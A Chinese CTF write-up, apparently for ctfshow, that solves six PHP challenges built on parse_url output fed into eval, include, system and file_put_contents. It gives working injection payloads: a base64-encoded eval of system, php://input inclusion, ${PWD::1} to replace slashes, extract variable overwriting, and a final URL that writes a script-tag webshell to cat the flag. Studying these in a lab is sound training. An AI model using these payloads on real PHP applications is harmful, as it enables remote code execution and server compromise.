官方wp

看了wp之后,学到了一个新技巧

就是在/用不了的时候,我们可以使用先进行编码,然后在进行解码的方式来进行绕过

例如 eval(base64_decode('c3lzdGVtKCJscyAvIik7'));

这里的话先介绍一下这个parse_url函数

这里话在ctfshow的web入门里也有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$url = 'http://user:pass@host/path?args=value#anch';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果--------------------------------------------------------------------
Array
(
[scheme] => http
[host] => host
[user] => user
[pass] => pass
[path] => /path
[query] => args=value
[fragment] => anch
)
/path


第一关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-05-10 09:52:06
# @Last Modified by: h1xa
# @Last Modified time: 2023-05-10 10:58:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$data = parse_url($_GET['u']);

eval($data['host']);

这里的host的话就是http://xxxx/ 里面的xxx,那么这里可控,于是就尝试看能不能进行命令执行

image-20230515175832497

能成功进行命令执行,于是尝试文件读取

image-20230515180225448

这是其中一种解法

这里的 /用不了是因为在/的后面会被parse_url解析成path

image-20230515180454024

这是第二种解法

第二关

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-05-10 09:52:06
# @Last Modified by: h1xa
# @Last Modified time: 2023-05-12 13:25:53
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$data = parse_url($_GET['u']);

include $data['host'].$data['path'];

做这里的时候可以使用bp来做,hackbar可能识别不成功

这里的想法是构造php://input

image-20230516143313335

这里的host是php: path是//input

然后就可以拼接成include php://input

然后在post执行代码就能够成功执行了

image-20230516143456418

第三关

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-05-10 09:52:06
# @Last Modified by: h1xa
# @Last Modified time: 2023-05-12 13:29:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$data = parse_url($_GET['u']);

include $data['scheme'].$data['path'];

还是考察的拼接方法

image-20230516143959148

本地尝试了一下

image-20230516144016789

可以成功命令执行了

第四关

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-05-10 09:52:06
# @Last Modified by: h1xa
# @Last Modified time: 2023-05-12 13:29:35
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

$data = parse_url($_GET['u']);

system($data['host']);

还是先本地构造来进行尝试

image-20230516144313226

这里发现成功后,这里不能用/的原因是因为会被识别成path

image-20230516144743961

这里的话使用${PWD::1}来替代/也行

image-20230516145016184

不过这里的话要在这个${PWD::1}的后面加上一个:,不然不会执行成功

第五关

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-05-10 09:52:06
# @Last Modified by: h1xa
# @Last Modified time: 2023-05-12 13:29:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

extract(parse_url($_GET['u']));
include $$$$$$host;

这里话extract,考察的是个变量覆盖的题目

1
2
3
4
5
6
7
8
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
结果-------------------------------------------------------------------
$a = Cat; $b = Dog; $c = Horse

这就是这个函数的用法

就是把数组里的key作为变量名,把数组里的value作为变量的值

就是一个套娃的过程

image-20230516152003470

1
2
3
4
5
6
$host=scheme
$$host=$scheme=user
$$$host=$user=pass
$$$$host=$pass=fragment
$$$$$host=$fragment=query
$$$$$$host=$query=php://input

这里的话传入参数的时候要会#进行url编码

image-20230516152215558

image-20230516152318971

第六关

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-05-10 09:52:06
# @Last Modified by: h1xa
# @Last Modified time: 2023-05-12 13:29:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

$data = parse_url($_GET['u']);

file_put_contents($data['path'], $data['host']);

这里的话直接写php代码到文件里是不行的,因为存在的?会被识别成query

我们就是用html文件中的< script language=‘php’>标签来实现php的代码。这里记住,只需写一个< script>,不需要写< /scirpt>,因为/还会被parse_url函数当作path中的内容。

image-20230516153311944

image-20230516153607169

最终paylaod

1
?u=http://<script+language="php">system('cd+..;cd+..;cd+..;cat+_f1a_g_1s_h3re');:/var/www/html/1.php

这里的话用之前的${PWD::1}来替代/也是可以的